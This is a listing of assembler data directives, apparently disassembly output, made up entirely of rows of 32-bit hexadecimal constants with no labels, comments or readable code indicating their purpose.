		dd 700508D4h, 48AC695Eh, 0BD800B60h, 9DA64E08h,	0B3F0006Ah
		dd 40310A99h, 6606E6E0h, 595B3C19h, 84C0C8C8h, 0B82D85C0h
		dd 8642710Bh, 755FE20h,	0F12D7964h, 0FF73C01Eh,	340083F9h
		dd 3829CDB8h, 585A1C5Ch, 0BB37E818h, 4975060h, 7B006369h
		dd 0B02417C0h, 49DEADh,	508E0DBDh, 0FA9DD3B9h, 2C791100h
		dd 0B48D933Dh, 7A0E7E85h, 1C250054h, 52BDAEA5h,	117EDCBCh
		dd 5C8BE20Fh, 0E38DE002h, 0A8EEC5h, 3AD58E15h, 210EC28Ch
		dd 30009B7Eh, 0BCD255E2h, 7CC7023Fh, 764805F6h,	2ACF56Fh
		dd 0AEC413B9h, 0D2F497C0h, 0FA9A3300h, 6D9220E2h, 0FE1C01A2h
		dd 48AD9E26h, 0C3088C24h, 0B22006h, 1436A584h, 0BC854BB9h
		dd 800FAE3Bh, 20DE5F69h, 7441B5F2h, 3D07F6E8h, 4F02B362h
		dd 0DF6E73F3h, 89694D00h, 5A6F030Bh, 0E5B25E1Ch, 86D7180Bh
		dd 3CEB8080h, 3BF96DAh,	518AD848h, 0EEB844DCh, 0BA63597Eh
		dd 1454B9h, 1C319850h, 23ABDC22h, 0AC2B8818h, 60F7F489h
		dd 92E20848h, 4E001068h, 1312D962h, 1F664DCh, 0D49ADDA4h
		dd 0E75EA6DFh, 0CF54A101h, 0D13155DAh, 6678C860h, 0A9B9083Ah
		dd 0DA387A0Ah, 0D300D788h, 79C89B6Fh, 6B484C03h, 6CD5A107h
		dd 64AC5036h, 77189120h, 0DD989617h, 0E05200CBh, 93319CEFh
		dd 0B01E3B6h, 9FF7816h,	0DBCC06BAh, 0C6B00CBh, 0B0A6277Fh
		dd 64008F6Ah, 8D754BF8h, 3FA2950h, 805DE905h, 0DAF8CC91h
		dd 1600524Fh, 0F60B42Ch, 1EAB6187h, 40658B93h, 0A38C86BDh
		dd 47022F02h, 75E08011h, 0D47FE022h, 88BB185Bh,	72F71074h
		dd 807804A7h, 269F3E07h, 0A91F3F00h, 8642AADDh,	0D4AB2124h
		dd 128B833Ch, 0A0248045h, 373E40C1h, 28294653h,	22430C42h
		dd 44220E88h, 84302FAAh, 1C444CCEh, 3628440Fh, 1134515Fh
		dd 2022850Ch, 661EB074h, 3740168Bh, 3C419E82h, 77D30027h
		dd 0CFCBE274h, 7B03F00Dh, 71569676h, 1B37C03Dh,	0A63F1694h
		dd 137705FCh, 0F1EF0088h, 2C2DBC8h, 395A7400h, 34CA12ECh
		dd 948D002Fh, 0BE24089Eh, 7100C8BDh, 0E1FF4021h, 7C9DB69h
		dd 3460ECC7h, 6D17607Ah, 5A2C0B3Dh, 33000058h, 6EDF9754h
		dd 63E70549h, 544C4B7Ah, 720452E4h, 0C0F928C2h,	0F3F5A48Fh
		dd 0C6548500h, 80E10486h, 1D97AEDh, 0DFC11C48h,	0FE3F2415h
		dd 516E2FDh, 6878DBBh, 84A54BC0h, 0CF78150Dh, 5F00E870h
		dd 881E9EF4h, 730C9119h, 50E55AFCh, 72B3073Fh, 9026BB94h
		dd 0A9E3CC6Bh, 27D30300h, 6276A45Fh, 0DC825831h, 75E7D100h
		dd 0CC66D47Ch, 80F3C60Eh, 56DDBDA9h, 0AD98ABC0h, 21EE590h
		dd 0BEE2BF55h, 0F4E096F0h, 8F00FB85h, 5CAEABC4h, 6B44817h
		dd 0B888E8E7h, 0EAA0E09Ah, 62399E68h, 0D71700B9h, 0AC66E8E2h
		dd 0CB7D002Ah, 68CF735Ah, 0FA24F40Ch, 0AD000707h, 14AE97A9h
		dd 5300789h, 0A09F80FBh, 36A1771Fh, 0B6C0700h, 0FE5809C3h
		dd 44350031h, 0D2CDB5F4h, 1100A0CCh, 9FE4F9F1h,	0EC3B2022h
		dd 1A4300F7h, 4E6A107Ah, 0D303EBCDh, 9B09FA64h,	0F112B875h
		dd 9F550091h, 0C3D48BF5h, 9A00769Dh, 1DB96C59h,	0FEC7BA25h
		dd 8C123892h, 0EEEFB00h, 0BD5D831Eh, 0F4561900h, 376B29A5h
		dd 0F79D0099h, 9B5AD60h, 0C800E212h, 0B1CA210Ch, 50EC1BABh
		dd 1EF7F045h, 402A85DEh, 0B9E7099Ah, 0AE0F427Bh, 0C32040D9h
		dd 901F2EFFh, 0D6374Fh,	0E74D98A8h, 1A4D2EEh, 0A325FB00h
		dd 77AAD56Bh, 96A7016Ch, 3828F7F8h, 0C9E02E68h,	26FF005Dh
		dd 4E70FCA5h, 4F009986h, 0A0CBABADh, 0A88897h, 0C1963585h
		dd 0EA1D2870h, 3221D000h, 6853D22Dh, 79250016h,	338C98CEh
		dd 669005CFh, 3B2DAD17h, 0A50D7E00h, 306D1Dh, 3A6E651Ah
		dd 0AE596BB3h, 700045F2h, 0DC8C718h, 3052CC50h,	0A6762D9Bh
		dd 14179FBDh, 7E1F835Fh, 47801424h, 0DC66B572h,	4471CCh
		dd 9237BA55h, 0F7DF4DA8h, 0F3AC6F00h, 0DD705E01h, 0DECB3F34h
		dd 0F88015B9h, 89D2B7A7h, 3A003353h, 0D1B88F27h, 0EEF8B0Ah
		dd 5EDEDF8Ch, 4A3F7240h, 0B30345E5h, 0CFCC2617h, 7806B928h
		dd 0D8ADE4h, 8CBE69EDh,	40D03BA9h, 0E0E25303h, 0C0EB100Ah
		dd 4A3CE41h, 9BF5E32Dh,	0E140C069h, 1D00ACD8h, 6C23F8F4h
		dd 72FB9590h, 2B7600E7h, 5E4B3287h, 0AE019966h,	8083C743h
		dd 33CCEDE5h, 204E014Fh, 3FBD2A5Ah, 5E74EC9Ch, 3C0BC400h
		dd 9DFA2EF5h, 0C7CA0030h, 1C9E7A26h, 7E055B07h,	0BC9B54B7h
		dd 8C41E001h, 0DDC89D6Eh, 8E1E07B4h, 0FCEA482h,	0A600F894h
		dd 6553EEBEh, 9A605A52h, 6341281Ch, 0C1A4C8Dh, 319E1639h
		dd 81865E51h, 97223C6Fh, 3508203Ah, 797A1E00h, 0C2C3ECDFh
		dd 0CA360F18h, 0BBAF256Eh, 984A8E40h, 0CE00B016h, 0DF6680D7h
		dd 0C757E2h, 9BE14F79h,	0B2D03E03h, 3F007C7Ch, 80F471F6h
		dd 0A1F60h, 785601F2h, 0ABA71DC0h, 94969113h, 7B16A400h
		dd 0F9E898A0h, 646BB842h, 3D9300A4h, 76C9B999h,	2C00E9C6h
		dd 0C57A1D3Eh, 7FB26h, 0C7AFFCBEh, 2568275Ah, 4C092809h
		dd 0C6E28F43h, 3106B4h,	60D1A097h, 7442C019h, 775A9C02h
		dd 0C0444A46h, 3CA29394h, 7C16B5h, 4CA49670h, 0F6EDBB92h
		dd 805DE33Fh, 4755B6C1h, 0E6D577h, 9DE1D1C2h, 39B08FCBh
		dd 4969EE00h, 72AEE90Ch, 417E1D34h, 0B8708003h,	61D01C59h
		dd 4EF4393Fh, 270C3800h, 0FEEDADh, 0C9BA5263h, 318B0656h
		dd 8F32BC0Ch, 0FEAF36D4h, 5D05003Fh, 0EFF9D025h, 157AB072h
		dd 91F2039h, 7F4B63ECh,	81785100h, 13017E17h, 0D85AE002h
		dd 0FAD0D396h, 0F9850FE8h, 0C0FD6CF5h, 1A7BD078h, 73F876E1h
		dd 0A35D700h, 722034ABh, 0DAF3074Ch, 0FF8692BFh, 33592FA0h
		dd 480047C5h, 28F02698h, 62288h, 0CDE05FA8h, 4020F6D9h
		dd 7D371E07h, 0FCA04DB1h, 126E9AE2h, 54A6CADh, 458882h
		dd 1AFBAFB4h, 0D6027E25h, 0C02CD496h, 6DD46044h, 20DE0060h
		dd 9A53565Dh, 3500B1ECh
		dd 3A2342AEh, 0C9C409h,	2EF59A2h, 87720DAFh, 1FCA1909h
		dd 0A1CC8329h, 39F4D8FDh, 1C5600DBh, 0D6954D74h, 0DC00E671h
		dd 0A2AE478Ch, 96C481h,	4D0B21BCh, 6D990F2Dh, 87A6081Eh
		dd 0E1FE8002h, 1A986101h, 9820D021h, 0C0B1769Eh, 0D6C0AD11h
		dd 98B05686h, 5AD4EA03h, 0A7AC376Ah, 40D5F280h,	0AE64307Bh
		dd 0A782C31h, 0D30538h,	0EC14AB6h, 4870695h, 8DA92216h
		dd 0CB7FC171h, 4A2730C9h, 95496B00h, 5A12AA5Fh,	48836001h
		dd 39F6CAE1h, 7E910406h, 7194063h, 0C15D4CF2h, 385EB173h
		dd 43812BDBh, 2080920Bh, 0F899176Bh, 0F600D5E9h, 3E7F3A13h
		dd 383365C0h, 0E880823Fh, 0BDD351AFh, 0F80064CFh, 5E5735BFh
		dd 0E908A5h, 0FD9B4E43h, 0FD56138h, 42F6301Eh, 0AD230E00h
		dd 1726BDC5h, 0F537E3h,	0E1C7A74Ch, 1A00C43Ah, 0EB037C3Fh
		dd 0D2F1EFh, 0AFCCB5D5h, 0BC622A59h, 6A0018B0h,	0F431D1C8h
		dd 4C8E65FDh, 2A0082ADh, 79CCC2B9h, 0D30E386Fh,	83D6F4CAh
		dd 80AED018h, 4FA7C6h, 0FCF14E29h, 1B6C069Dh, 1E00C0EAh
		dd 6DF5EB44h, 2ECD43DBh, 0CC9F32h, 9945058Ah, 193A6B37h
		dd 4D8B802Ah, 6473CC2Eh, 8F1C0008h, 356DD1C0h, 0EC09F020h
		dd 8962655Dh, 0FBC10084h, 5056FEh, 89EBA9EFh, 6FC0D676h
		dd 8554900h, 0F646982Ah, 74D00744h, 3BF801B5h, 0B03E8820h
		dd 1003C825h, 6A16AFBFh, 0A065983Bh, 181C002Eh,	0BD6420F5h
		dd 592CECC4h, 150010E9h, 3E012FE5h, 0FC74E795h,	60831EA4h
		dd 0F8119FC3h, 18C59498h, 814DB2F7h, 87000FCh, 1714D12h
		dd 0EEB8E0CBh, 0B332002Ch, 0F7E8E6D9h, 0FA1C0248h, 0F440A843h
		dd 0C91103B6h, 85D30078h, 520EFBE5h, 8F001DD0h,	9358F3B9h
		dd 5D9537h, 0E4B34E51h,	21FDDEE8h, 1B3E0900h, 68E1473Ch
		dd 9526005Fh, 0F4E41587h, 50C05962h, 0C3CFD89Fh, 66D61433h
		dd 6F00888Ah, 0ED773C71h, 49E6B2FFh, 0DE26B600h, 797B5737h
		dd 0D9940C8Ah, 1DD8F9E0h, 24F5C71Ch, 0AE91CE00h, 7929B826h
		dd 4913047Ch, 90DE8BB9h, 16F13E24h, 1175000h, 2D2AA4FCh
		dd 0EF6200B7h, 0D2606C25h, 4E03E426h, 0A11C70DBh, 0C62D80E0h
		dd 3B561667h, 528C403Dh, 5D4DFAE7h, 29920900h, 33115AC8h
		dd 93A01742h, 671C0040h, 0E24D20C5h, 8EC36900h,	0ABD1F6Bh
		dd 0CBAE002Bh, 0EEA3B735h, 0C626975Ch, 7E8EF860h, 511701B8h
		dd 8DE002BDh, 3EAB0054h, 0DA2C4CF3h, 479827FBh,	85B3FA12h
		dd 72C3D300h, 0A0C9D93Bh, 1F2DE6h, 0FF0AE12h, 0FDD6821Eh
		dd 4E26E902h, 40C27136h, 30915A00h, 0A3C81BB3h,	0C31E988Eh
		dd 0C60009D5h, 4FD6E6FEh, 2CD8004Bh, 1D3D0B6Ah,	361269D9h
		dd 64008A59h, 0C7714C56h, 0F2FC002Dh, 0AACC0F5Eh, 6A005863h
		dd 83F8D3ECh, 0C5198E1h, 5411A5B2h, 42FCEF30h, 7F177900h
		dd 0C6A36B6Ah, 0D1906133h, 2019D08Fh, 324CBF16h, 0A5E31318h
		dd 0E12B140Fh, 82618FDFh, 27DE5E8h, 0A3F4FE50h,	0EBE19176h
		dd 1C7C20ECh, 0BAC67500h, 0C7B9E498h, 237E1731h, 0C2841E93h
		dd 3BF04184h, 8B675CE0h, 0EC10200Fh, 48C0C005h,	92FB57C9h
		dd 0AE7A00C4h, 8090566Eh, 9B71D3D4h, 64C73B00h,	6A5B4F10h
		dd 0EAE272h, 0B79D53B4h, 0F754ADA1h, 4D789C1Eh,	0D0C5D19Fh
		dd 0FDC04E76h, 0F828BC1h, 0F655692Ah, 0C20045ABh, 4F769613h
		dd 92C1603Ah, 0B8806C46h, 5D862069h, 8A01B8D4h,	0E26780FAh
		dd 711960D2h, 55849E00h, 0B72DF20h, 9BF40013h, 0A192931h
		dd 0AC004F17h, 76495FFh, 3878A1F5h, 4A03727Fh, 18D2EA79h
		dd 90118B9Bh, 0B811379Fh, 0BEFC17C1h, 0C039EC4Fh, 7FFF5D42h
		dd 0CF98C089h, 0D652B023h, 8CC4B154h, 0F24EEB04h, 0C01CB839h
		dd 0A4DF5824h, 7A00D0DDh, 0A6169FA2h, 0F7F89Ch,	0F4C77946h
		dd 76B98B45h, 8FD4AD0Eh, 0FEB4810Fh, 0BA6099CBh, 635C00E9h
		dd 6C52E278h, 22003901h, 0F534ECA1h, 0B28999h, 0C5512959h
		dd 0E61C33BCh, 5EDD13Ch, 19085683h, 0F2F37C80h,	0EE730B5h
		dd 2FBC8610h, 90476901h, 7CCF378Fh, 9220ACCh, 0CCF877AAh
		dd 783D8CA0h, 0E949B5EBh, 0B43918h, 0F571C3A5h,	386FDADFh
		dd 7E0BD2A3h, 80223Dh, 0B135E3F7h, 23CAD600h, 45C4ED62h
		dd 10300071h, 0D4659646h, 0ABE84754h, 8D353Ch, 93AC7A34h
		dd 7426E677h, 487E3A0Bh, 757CEC80h, 0D78F17FFh,	1C2C6D06h
		dd 16981D1Ah, 30835E72h, 194DE918h, 0B462480Eh,	0EC6B02E5h
		dd 41106055h, 60B6484Ah, 6D718103h, 0EE9E24B9h,	481BE000h
		dd 0C2A0E3D4h, 8A2B002Ch, 0E8E934A4h, 0F000ECEh, 49C87472h
		dd 0C0C96ABEh, 40AFF351h, 3C0013D2h, 4630C298h,	98E595D5h
		dd 5C8B00B8h, 0C692CD27h, 83008E7Ah, 0A36C73F6h, 1A604Ch
		dd 4A2D6E79h, 0E7E86846h, 7F4EED01h, 86D02510h,	8070CFC1h
		dd 2B9112A8h, 6A330BC9h, 0B55D5E80h, 0F5036FF6h, 0CF8829A5h
		dd 0DCD0843Bh, 8B0405h,	0D90F8D15h, 1E1C3AADh, 4008F002h
		dd 6051695Fh, 3F1D4E06h, 548058AAh, 0A2B6EEC7h,	710717DCh
		dd 90143998h, 2E151D81h, 0DDCCCE40h, 0B780003Ah, 75E98F0h
		dd 69B055B0h, 80F4DB3Eh, 0E3BE2AFh, 0F683FFE9h,	224900C9h
		dd 998D754Fh, 58F07D6Eh, 8E0FDC90h, 0C0AF2CB8h,	0B05D0C41h
		dd 0B8072EDh, 298690D6h, 3BAA1840h, 4405A700h, 20184EA9h
		dd 0E0480028h, 753F6064h, 0E8124F31h, 0F095CD08h, 77535380h
		dd 427205BDh, 0B0BA37F0h, 0EAE68D04h, 30436D1Ch, 0E1048187h
		dd 91C12FA7h, 3820310Bh, 38E716EDh, 784DA857h, 697D60C0h
		dd 1807829Bh, 59EA8F30h, 9F4081FFh, 29120052h, 0F438FC6Bh
		dd 0BB2EBF39h, 0A700DE5Dh, 0CCB677DAh, 7C94B883h, 0D605005Fh
		dd 0BEA81709h, 93007814h, 3404C674h, 48E11BACh,	0FF09BCB0h
		dd 5020D82Dh, 0A74E673Bh, 7D4CD17Bh, 529B0038h,	46C6F1C7h
		dd 66383A87h, 0F4228494h, 8C2EB900h, 659572DEh,	0A1776403h
		dd 24A4520Bh, 66D7F0h, 82DF559Fh, 0D400266Dh, 0DD9D516Ch
		dd 0B8028F89h, 0A59004Bh, 2CD67506h, 6601552Ah,	9257460Eh
		dd 0F1F8A7EFh, 0DC1A0072h, 6E84EB9Dh, 0A200515Eh, 0B4615A31h
		dd 133D09h, 14ECD61Dh, 20586CC4h, 0ACA13200h, 0C915FA66h
		dd 693900D0h, 0F6249716h, 18162133h, 0BC00EB08h, 8668A0C2h
		dd 805C0070h, 21E9AB12h, 4200CC01h, 0C0FAAA1Fh,	8D8ECBh
		dd 79C3ED3Bh, 7304713Fh, 8C988050h, 0DD090778h,	0E8305DAEh
		dd 0F26A680h, 0AFCA1F8Ah, 0A57323E0h, 4A009210h, 5239D59Ah
		dd 43ADB6h, 0B9A3D4E9h,	1083E5F7h, 1E00A8E6h, 0DB496928h
		dd 2DE8F14h, 7765097Eh,	8868584Dh, 14948218h, 0CFBE3200h
		dd 283FE5Ch, 7743FA3Dh,	0DC8008F9h, 176C3F5Eh, 710FF4B8h
		dd 3D723846h, 0D91C4BC1h, 58C4889Eh, 2B290084h,	24895644h
		dd 0A70020ECh, 82BF5333h, 3B235846h, 6280EDF6h,	32DCC5E4h
		dd 0E5E696E6h, 59AD3800h, 2A05AF3Eh, 0CCF01Ch, 0A8B889D2h
		dd 730C2090h, 0C954C500h, 0FBE30FA0h, 7257DBAh,	0B44DA270h
		dd 2CB22047h, 0B60040D7h, 668F80F6h, 3D86823h, 0A248BD87h
		dd 27F87F96h, 0F52533F1h, 0CE009D72h, 0A4686A28h, 4D0A0700h
		dd 4479952h, 0D042C8C2h, 38CB4CCh, 3157340Ah, 0B607B4FEh
		dd 0A0B9C419h, 4FB4EE84h, 8A823E2Fh, 6B103980h,	0BA28FA5Fh
		dd 2D00E0B2h, 8B7D842Ch, 1E8971E8h, 4B2742E3h, 70299B08h
		dd 0F395B500h, 350E0D3Dh, 0C06AF6C9h, 0D973B8ACh, 71E13DA3h
		dd 0D7933400h, 0E8C6C454h
		dd 0B1566616h, 0B1C1300h, 0F270B2A6h, 3E6304D3h, 0C09D7A16h
		dd 17D4E7AFh, 1AE6F071h, 6622A300h, 0D13B8894h,	80BE06FBh
		dd 213F50DBh, 0FA06E204h, 5CC09B49h, 4AE7Bh, 9DEB0B29h
		dd 54CCD24h, 0BC90A402h, 0F09E4149h, 4C2A4C9Ch,	53C0BE00h
		dd 903D177Dh, 293CFE00h, 10E8C8C6h, 0A1F883h, 45880EFBh
		dd 422320C7h, 0A877FA00h, 0FC0C635Fh, 0BF6F0018h, 0E7DDA1D2h
		dd 0FF03C3B1h, 80E94A4h, 0C0909D34h, 3C661h, 7CDCF9D5h
		dd 50DDC122h, 6CBC7E2Eh, 2E182318h, 8BE30F06h, 383911ACh
		dd 0E5146FCBh, 37AE0028h, 0A7A0416Eh, 44FE71h, 31E26417h
		dd 27DCCB35h, 0CC4C3200h, 6A92D08Ah, 0E8FB486Fh, 13BA8200h
		dd 85CA8BBh, 313AC91Dh,	8CD56380h, 6061ABD7h, 0BEAC11E1h
		dd 0F90094ADh, 5288CF23h, 3AF709F0h, 0C961CE61h, 9310859Ah
		dd 1903A090h, 1EF48C7Eh, 0C0BB2810h, 11B9B2C2h,	1C045B2Fh
		dd 0AB951018h, 720A40A8h, 3B640E38h, 4F709680h,	8491BDA0h
		dd 0DAE95560h, 0EA21148h, 74B604ACh, 78B30AE1h,	0A74BDC24h
		dd 8B3E827Bh, 4A2680C8h, 13CA1AEAh, 705A0345h, 0EFD906BDh
		dd 985D99E0h, 4B27FB00h, 5C148C83h, 0E9A20032h,	0E0AE35F7h
		dd 6AFC2276h, 1D6C8E04h, 0F1C065B6h, 390423h, 8F6F547Bh
		dd 0BCD0CD29h, 510AEA00h, 0E2E0019Eh, 0B8DB00EDh, 0EE5C677Dh
		dd 13003769h, 5F1ABCB4h, 79CD4Ah, 2EE3BE3Ch, 0FBD5CC95h
		dd 30E61C00h, 0F4239EC3h, 0D1F0000Fh, 499DC55Bh, 0CD006CE4h
		dd 0C3AADD47h, 4DBD3E22h, 520FA057h, 6209A59h, 0CAA4DC91h
		dd 24DDCE3Ah, 95801016h, 0C3705FB1h, 19FE00C7h,	0BB2FDF82h
		dd 8701DA76h, 118E8C34h, 188B6750h, 54E0260Dh, 76006D72h
		dd 0CB098378h, 2C70489Ch, 134B2ECh, 0E58C02F3h,	8BC840EAh
		dd 49FE5C61h, 265F3900h, 8C122806h, 608922Dh, 4D87F8B0h
		dd 0C20059E1h, 945DB161h, 330E62FCh, 0F2081710h, 89E22100h
		dd 8EFEC5B1h, 53800324h, 0B8819C66h, 3C78F8B2h,	0E7115D00h
		dd 0C4E9BADEh, 0E86A0BD5h, 0CF8B4951h, 0D201F4D4h, 0C29E8CF8h
		dd 81C4984Bh, 40773226h, 0D1BAA7h, 0F56DB87Eh, 0C24533BDh
		dd 807210CBh, 852A3F72h, 1E26Bh, 5436EDE6h, 0BF429A43h
		dd 0BB80AF00h, 0F9ABC8CAh, 98F65Bh, 940C137Bh, 7EF4EBAh
		dd 241B5900h, 9BF457A2h, 12D900E2h, 16CC44CBh, 0D073054h
		dd 64622F7Eh, 7D239C90h, 3CD00039h, 40A4BF28h, 502C945Bh
		dd 0E0001769h, 3A9D45DDh, 417801CEh, 9EA24902h,	0EA52C90Eh
		dd 3E7332C0h, 0F1F69772h, 0EBE39C00h, 2641CD5Ah, 62DE1E45h
		dd 5DB54054h, 0EAF8C14Fh, 6A572500h, 2B7A9D89h,	62163B31h
		dd 0A69692h, 0C9C8BC1Dh, 10DD9718h, 58DC0Fh, 13DE96BAh
		dd 2BF401E2h, 61C3C2D8h, 7157CC66h, 0AEA95200h,	0B90135A8h
		dd 0AF540017h, 0CB4B874Ah, 7A001943h, 1BFA49C3h, 1C2B40F8h
		dd 962FBDh, 1ADC15FEh, 365AC0A1h, 0E100AEFCh, 1E5431DFh
		dd 660050AFh, 74D587Dh,	7935B11h, 0AC344BCCh, 0A6384065h
		dd 580083A7h, 0D4DCC00Ch, 3E753E67h, 8F800176h,	92ECE92Dh
		dd 0AFF4FE34h, 7AC6E000h, 8E58A3B3h, 62F007BEh,	50DEE28Bh
		dd 91F3618Fh, 37886C00h, 0D42653CFh, 0B0DD077Ah, 6060A33Eh
		dd 4B9F669h, 654C2C12h,	0A40061E8h, 0C5B6D5FEh,	0D6003F08h
		dd 0D996649Fh, 7895009h, 46A70138h, 6E69F06Bh, 0E8033C8Ah
		dd 0F9689611h, 0B41FD084h, 0EB5700DCh, 6FC74E56h, 5230ED8Ah
		dd 0E55C8090h, 12810010h, 5B148BDBh, 0CCA09AC0h, 9F761873h
		dd 0B905BC7Eh, 0DE0EC887h, 54BDA040h, 0D42702h,	0CE679655h
		dd 148304D9h, 0EC6F222Ah, 8DECEF7Dh, 0DD9FC506h, 0D6F8CEh
		dd 8EF670CAh, 400BA083h, 686AD700h, 8435A3C8h, 1B3B003Eh
		dd 0DA08524Ah, 5800035Fh, 0C123B38Fh, 7B720Fh, 15DB95DCh
		dd 6A74A8B4h, 80F7753Ah, 8D0696A6h, 873E7Eh, 8804723Ch
		dd 0EE1BB08Bh, 17AF458h, 9436E8E1h, 8D601AD0h, 0DD880023h
		dd 5428BDADh, 0F205EB2Bh, 2E75E098h, 0B6D2B000h, 0DFD3C7h
		dd 0C06179B0h, 0B90F8E91h, 6F3D9907h, 0FFC01A37h, 0C056749Fh
		dd 0F4A731AAh, 0E71C8CDCh, 37AC5F1Bh, 6A81F302h, 0FD7840A5h
		dd 0BE3300E8h, 2EAF04BBh, 15078DECh, 0FFABA05Fh, 0C357DF60h
		dd 2AA5006Bh, 4FD42D5Dh, 4FEF256h, 0A49CDC1Fh, 4012E580h
		dd 26FA83C5h, 1CD0D917h, 54F4401Dh, 844ACD61h, 31758C1Fh
		dd 68C40E82h, 0EBC271h,	879A1E98h, 23B5000Fh, 48DFE080h
		dd 0A14841DBh, 0D95F07C4h, 74C1E2E8h, 37E0FD03h, 0BBB10069h
		dd 5DCDA014h, 1D00B696h, 6612B8D8h, 997931h, 8D87E530h
		dd 956C7604h, 0A0CC681Eh, 589AA980h, 0C092CFE9h, 0DEBE1219h
		dd 6902B75Dh, 7918F382h, 7718496Ah, 7784DF60h, 0B43719D4h
		dd 0F1D6B0B5h, 4FBFEC0Bh, 6D18B918h, 1F9BC048h,	400FFCA0h
		dd 69176643h, 85004635h, 0FF9DDD28h, 0E8D55222h, 1F0F40Dh
		dd 0BAFCFD8Ah, 61067346h, 9F02C81Ah, 51139h, 1594388Fh
		dd 0AA25A3h, 0EB2E8049h, 0FD8DFCFEh, 81BCFF0Bh,	0D082009Eh
		dd 0B96584h, 99613C8Eh,	9F35185Bh, 6BD15700h, 0BF077BFh
		dd 196F64Bh, 6AF18A2Ah,	0F8DB5E4Ah, 0A126073Ch,	63002FDFh
		dd 4C8E22FAh, 2F2D001Ah, 0B9C7915Fh, 5A02698Ah,	0CFE25496h
		dd 0B9860B7h, 0C6B2001Dh, 7910DCA8h, 0D81FB5A9h, 16809E1Fh
		dd 8B2030F4h, 714C020Fh, 0F2F78F50h, 3218CC40h,	40B75A75h
		dd 138A6DFh, 0C42EB1CFh, 0C47E7786h, 59007C51h,	3ADF4D53h
		dd 0FC09B526h, 588E2E8Dh, 2690098h, 98C3DE01h, 6C1E2879h
		dd 3A4E0633h, 22003289h, 0DA4CB122h, 0FFF60054h, 2914304Bh
		dd 60903183h, 1B32B208h, 3800BA59h, 613D5B48h, 3400D658h
		dd 0F7035388h, 0F80480h, 0AF91304Dh, 0DC11FBB3h, 362BB612h
		dd 0EA584C40h, 26CB6353h, 3CEBF9h, 9ED5AC54h, 11C3A949h
		dd 0F8CAB461h, 80BB69h,	477AADF1h, 6BFBDE1Ch, 0CC59961Dh
		dd 0D50182DDh, 256E86DDh, 3A90F424h, 5183F5BFh,	1C2C2FEDh
		dd 7F5BA7E8h, 2624375Ch, 799468F2h, 91C700B8h, 74DF4439h
		dd 81B50077h, 3DE0C422h, 0F600096Eh, 66E1B6BBh,	1E6B0738h
		dd 0C17353EBh, 0B5A0BDB8h, 8464E815h, 9E6A7107h, 603F9DD9h
		dd 828D3C41h, 0E17B1C1Bh, 5BDD403Bh, 7F1816DAh,	5940AE00h
		dd 0DC6DC4A8h, 0FB2C1C86h, 2807C031h, 0F1FCE652h, 89840100h
		dd 44A599F9h, 32CDEFA4h, 7ED024h, 663B185Eh, 2B862DE2h
		dd 0D87C3F79h, 9FA8700h, 5D709719h, 0AC8D0062h,	4AF166BFh
		dd 85003C13h, 0E2DDAB93h, 0F46E23F2h, 0E93803AEh, 0B02A683Bh
		dd 0C53040E7h, 5B385105h, 0E381800Dh, 949FA997h, 0E7690EB0h
		dd 6040C842h, 5E74FBBEh, 61EE5F00h, 8DC602BAh, 46181C6Fh
		dd 0B5A780B0h, 1F808393h, 0DD6B2603h, 983BCD41h, 73849E96h
		dd 0F5F05Dh, 0F6AA8821h, 617E52E2h, 6A677707h, 83AB55E7h
		dd 0A5933F70h, 3482B987h, 0BD35405Ch, 924A72B9h, 9DB82ED0h
		dd 2382803Ch, 0AE816BCBh, 0E85BF00h, 1C638DADh,	0B78616D9h
		dd 8EC00092h, 35A4BDA1h, 3E51B13Fh, 9EDBF9Bh, 80571001h
		dd 52881FFCh, 831A3063h, 0D9652BE8h, 963AFF05h,	7CD08209h
		dd 1DC5F23Bh, 4E72B4B2h, 45808485h, 3EBC6D81h, 0CB385F03h
		dd 0E0BB6C3Ah, 76D1A59Dh, 0E44703ECh, 0BCB69545h, 40FE97E1h
		dd 2C14C228h, 6E157500h, 9A1A6FADh, 2EA700FBh, 0F1F787CFh
		dd 261D2994h, 44005EA1h
		dd 0ADEABC11h, 0B8861FB5h, 5CDF8F3Fh, 2D4C7980h, 2601CEC9h
		dd 0B63690BEh, 5860DB3Bh, 815D30FBh, 657BEF71h,	4945860Fh
		dd 5336C55Ah, 0DAA31400h, 10283Ah, 928961D5h, 48E5AC72h
		dd 0E1EA0C00h, 3D410839h, 0AEFB008Dh, 0D09F096Dh, 1C00227Bh
		dd 0C13CDD80h, 850556h,	839A1441h, 0F7A9407h, 2461A007h
		dd 42408B28h, 0DB2DF0h,	3A8750E9h, 2792C6D7h, 2B5D4100h
		dd 5AEC5CC7h, 559B00D9h, 0F78C0975h, 6B00F4A4h,	0EEF38327h
		dd 71F179Ah, 0D5CEECCFh, 7BE44107h, 634D474h, 0E90064E8h
		dd 7A0E18BBh, 3B2B68h, 0ECD7ED43h, 37ADEF1Bh, 14678200h
		dd 3E1E8FA9h, 35D500BDh, 444F4D21h, 811E240Fh, 0EFC7E40Ah
		dd 0A1B0A3E9h, 599EEC63h, 0D202741Dh, 0DA5EC031h, 0A09C9CA4h
		dd 2203128Ch, 1BC813DFh, 47A4B0F6h, 6F262875h, 0DBA31EA0h
		dd 0FD10C303h, 2911C14Eh, 2D112C2Ah, 4A721E6h, 4085768h
		dd 0E85C269Eh, 2432228h, 20C5C022h, 0D9722192h,	20449B00h
		dd 0E19E83E6h, 2E5300FEh, 0F61A35CCh, 0A4008A26h, 107AD3BDh
		dd 0D7EF5Ah, 5B432EDAh,	0E15991E8h, 85CDE403h, 0D0E56F24h
		dd 18EF23D2h, 36F60544h, 86142E0Fh, 0D1AF5Fh, 4B5711B0h
		dd 48B24F46h, 4000AC53h, 96645541h, 0C00B477h, 86E606A8h
		dd 0E3697Ah, 0EA9013ADh, 0B70F3BECh, 59756500h,	9246269Ah
		dd 245000E3h, 0D44BAFC6h, 0B5006E5Fh, 1FF2C562h, 3C1C7D03h
		dd 0D2025E43h, 0C1511A69h, 9AD4BBE0h, 85B24E00h, 0A95DD3AAh
		dd 1EDD000Dh, 0B86CAB8Ah, 552D47F3h, 28AEDE0Ah,	952B044Fh
		dd 0D0594BD8h, 9D8E7D28h, 1BA74803h, 831CF48Ah,	3D169824h
		dd 63C705EAh, 80AD91C6h, 5FCF8839h, 45405D00h, 6B5E6809h
		dd 0B8C0EE6h, 0D560222Dh, 0E87203BFh, 0C9BC2A00h, 8D54BA18h
		dd 0F633009Ch, 8B84F3F5h, 8C78E5C7h, 45260500h,	0BF81D986h
		dd 0F77A0F6Bh, 0AEE0531Ch, 0A950AF65h, 21B6C102h, 80D8BE97h
